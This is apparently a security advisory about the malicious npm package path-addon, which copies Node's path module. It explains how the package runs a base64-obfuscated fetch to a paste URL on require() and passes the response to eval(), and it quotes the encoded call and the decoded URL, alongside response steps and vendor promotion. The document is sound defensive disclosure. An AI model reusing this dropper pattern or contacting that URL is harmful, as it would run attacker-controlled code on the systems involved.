path-addonnpm
Malicious code in path-addon (npm) Remove it immediately and rotate any exposed credentials.
What this malware does
path-addon impersonates the Node.js core path module (package name path-addon, README claims to be 'an exact copy of the NodeJS path module'). The body of path.js is the genuine Joyent path implementation, but a remote-code-execution dropper has been inserted: on require(), the module calls fetch(atob("aHR0cHM6Ly93d3cuanNvbmtlZXBlci5jb20vYi9SRlc2SQ==")) — which decodes to https://www.jsonkeeper.com/b/RFW6I, an anonymous mutable JSON paste host — then reads the response's content field and passes it to eval(). The destination URL is base64-encoded specifically to evade casual review and string-based scanners. Any process that imports path-addon executes whatever JavaScript the attacker has placed at that paste URL at the moment of require(), with no integrity check, no pinning, and no version constraint. The combined shape (typosquat name + trojanized legitimate source + obfuscated fetch + eval of remote content at module load) is unambiguous attacker tooling.
The OpenSSF Package Analysis project identified 'path-addon' @ 1.0.4 (npm) as malicious.
It is considered malicious because:
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The package communicates with a domain associated with malicious activity.
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The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Backdoor / remote accessFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for path-addon (4 malicious versions). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging path-addon across your stack and pipelines.
If you installed it — respond
path-addon establishes remote access, so treat any host that installed it as fully compromised. Isolate the machine, remove the package, rotate all credentials it could reach, and rebuild from a trusted image rather than cleaning in place — a backdoor may have planted additional persistence.
Did it already run?
If path-addon was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks path-addon before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks path-addon-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the C2 callback and severs the channel.